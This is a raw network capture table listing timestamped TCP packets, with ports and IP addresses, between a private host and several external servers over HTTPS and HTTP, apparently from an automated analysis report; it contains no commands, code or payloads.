Nov 21, 2024 22:33:11.121925116 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.136507034 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.136552095 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.136567116 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.140188932 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.140244007 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.140271902 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.153419018 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.153482914 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.153496027 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.161349058 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.161391020 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.161402941 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.173541069 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.173583984 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.173602104 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.186620951 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.186661959 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.186675072 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.199692965 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.199738979 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.199750900 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.212934017 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.213020086 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.213031054 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.225960970 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.226042032 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.226053953 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.241317034 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.241359949 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.241372108 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.248581886 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.248629093 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.248641014 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.298410892 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.325452089 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.329016924 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.329068899 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.329082966 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.338968992 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.339032888 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.339045048 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.345690012 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.345753908 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.345766068 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.352588892 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.352650881 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.352663040 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.378973007 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.379024982 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.379040956 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.380294085 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.380340099 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.380352020 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.383413076 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.383471966 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.383482933 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.387558937 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.387617111 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.387629032 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.398241043 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.398307085 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.398310900 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.398320913 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.398363113 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.409029961 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.419641018 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.419667006 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.419686079 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.419702053 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.419744968 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.430433989 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.440526962 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.440577030 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.440589905 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.450860977 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.450930119 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.450942039 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.459975958 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.460022926 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.460033894 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.468858957 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.468905926 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.468916893 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.477675915 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.477729082 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.477740049 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.486052990 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.486099005 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.486110926 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.501965046 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.502028942 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.502041101 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.503328085 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.503396034 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.503407001 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.506603003 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.506649971 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.506661892 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.513237953 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.513283968 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.513297081 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.518964052 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.519016981 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.519030094 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.527982950 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.528029919 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.528044939 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.531244993 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.531330109 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.531342030 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.551877975 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.551929951 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.551942110 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.554078102 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.554124117 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.554136038 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.558382034 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.558432102 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.558444023 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.577565908 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.577650070 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.577662945 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.580223083 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.580297947 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.580316067 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.582921028 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.582969904 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.582982063 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.583125114 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.583173037 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.583183050 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.583255053 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.583297014 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.583373070 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.583394051 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.994430065 CET	49745	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:11.994503021 CET	443	49745	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:11.994927883 CET	49745	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:11.997414112 CET	49745	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:11.997435093 CET	443	49745	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:13.264816999 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:13.265095949 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:13.384469032 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:13.384648085 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:13.384743929 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:13.384896994 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:13.447340012 CET	443	49745	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:13.447473049 CET	49745	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:13.451381922 CET	49745	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:13.451411009 CET	443	49745	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:13.451824903 CET	443	49745	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:13.492618084 CET	49745	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:13.504380941 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:13.535377979 CET	443	49745	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:13.965939999 CET	443	49745	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:13.966193914 CET	49745	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:13.966252089 CET	443	49745	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:13.966306925 CET	49745	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:13.966483116 CET	443	49745	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:14.005445004 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:14.005465031 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:14.005639076 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:14.005903959 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:14.005914927 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:14.884850979 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:14.884922028 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:15.045609951 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:15.045654058 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:15.120671988 CET	49742	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:15.165127993 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:15.165271044 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:15.165307999 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:15.396187067 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:15.396258116 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:15.397464037 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:15.397469997 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:15.398376942 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:15.399558067 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:15.443325996 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:15.514137983 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:15.514234066 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:15.514332056 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:15.515367985 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:15.515407085 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:15.822470903 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:15.822575092 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:15.843718052 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:15.910217047 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:15.910362959 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:15.910429001 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:15.911185980 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:15.911200047 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:15.911210060 CET	49752	443	192.168.2.4	23.218.208.109
Nov 21, 2024 22:33:15.911214113 CET	443	49752	23.218.208.109	192.168.2.4
Nov 21, 2024 22:33:15.964183092 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:16.418661118 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:16.418730021 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:16.749034882 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:16.869252920 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:17.263863087 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:17.263966084 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:17.411289930 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:17.411366940 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:17.414434910 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:17.414447069 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:17.414943933 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:17.469434977 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:17.668540955 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:17.788074970 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.068084002 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.068124056 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.068134069 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.068212032 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.068223000 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.068233013 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.068243980 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.068250895 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.068317890 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.068317890 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.076447010 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.077608109 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.077686071 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.077811956 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.077872992 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.086049080 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.086131096 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.086198092 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.094372034 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.094427109 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.094511986 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.269237995 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.269344091 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.269479036 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.273013115 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.273072958 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.273154020 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.280155897 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.280261993 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.282846928 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.282922983 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.282932043 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.283639908 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.290245056 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.290291071 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.290347099 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.297580957 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.297698975 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.297771931 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.304888010 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.305003881 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.305063963 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.312211037 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.312277079 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.312330008 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.319509983 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.319628954 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.319638014 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.319673061 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.326848984 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.326997995 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.327052116 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.334211111 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.334311962 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.334371090 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.341533899 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.341635942 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.341701031 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.348865032 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.351972103 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.470336914 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.470458984 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.470494986 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.470537901 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.473264933 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.473470926 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.473529100 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.479119062 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.479209900 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.479250908 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.479676962 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.484997988 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.485101938 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.485160112 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.490848064 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.490972042 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.491029024 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.496687889 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.496879101 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.496953011 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.502489090 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.502605915 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.502677917 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.508426905 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.508725882 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.508794069 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.514189005 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.514334917 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.514419079 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.520055056 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.520113945 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.520160913 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.520219088 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.525912046 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.525938034 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.526010990 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.531717062 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.531836987 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.531836987 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.532264948 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.537626028 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.537727118 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.537789106 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.543447971 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.543507099 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.543699026 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.543766975 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.549284935 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.549367905 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.549396038 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.549443960 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.555129051 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.555213928 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.555264950 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.555979013 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.561001062 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.561057091 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.561110973 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.561166048 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.566855907 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.567051888 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.567145109 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.572724104 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.572782040 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.572830915 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.573050022 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.578543901 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.578654051 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.578666925 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.579128981 CET	49751	80	192.168.2.4	109.107.157.132
